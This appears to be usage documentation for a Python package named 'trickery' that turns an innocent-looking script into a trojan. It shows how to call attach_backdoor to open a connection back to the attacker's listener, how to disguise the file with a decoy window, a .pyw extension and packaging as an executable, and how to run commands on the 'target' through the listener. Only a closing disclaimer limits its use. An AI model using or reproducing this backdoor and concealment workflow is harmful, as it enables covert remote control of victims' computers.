Trickery-Documentation


A module to embed a third-party service into a custom code.

 Package Description


 Pre-Requirements:

pip install trickery


 Steps with the help of examples (How to Use?):

First let's just create a clean python file and name it as hello.py

#Here goes our custom code-

print("Hello World!")

Now printing just "Hello World!" is obviously non-malicious, so how do we convert it into a malware and compromise that system by just a pinch of code? Here comes the role of trickery which lets you easily hack the system completely by adding just 2-3 lines of code in your main custom program. Here is how-

from trickery import attack_backdoor #This will import the function from trickery which will attach the backdoor into hello.py


def main(): #This main function will have your clean custom code which will social engineer the target

  print("Hello World!")


attach_backdoor("localhost",1234,main,False) #Arguments passed are: -ip,-port (the IP address of the hacker's/tester's machine on which the listener is to be bind), -mainFunc (main function to be passed because it has clean code and will threaded by this attach_backdoor method), -ipv6 (Pass true for ipv6 address)

Now save this program in a new file as evil-hello.py and run it on the target system.


NOTE: It is suggested to avoid the print function in clean code, instead open any image or a graphic window (using tkinter) when the file will run, and change the python file to no console python file (i.e. .py to .pyw in order to disable the console window). Also packaging it afterwards, depending upon the operating system of target machine (-for example: converting python file to executable for windows), would require no pre-installation of python and other modules.


Now we are almost done as we just need to bind a listener to hear for incoming connections which can be done either by the manual setup or with the help of trickery.listen() function.


Here is how to bind the listener on the hacker's system using listen method by creating a new file as listener.py-

from trickery import listen #This will import the listen function from trickery to bind the address for receiving incomings


listen("localhost",1234,False) #Pass ip, port and True/False for ipv6 protocol (all arguments to be passed same as in attach-backdoor function of evil-hello.py to hear for that particular system)

Done, just run the listener and wait for incoming connection of the target. Once the connection is received, the target IP will be displayed on console and in the next line it will ask for the command that will be executed on the target system.


Now the commands depend upon the operating system used by the target. Basic commands can be found here-

Other commands that have been added to trickery.listen() are-



Warning!

The package is supposed to be use only for personal knowledge and strictly on the user's system and device. In case any illegal activity found carried out by the user, the author will not be responsible for any consequences.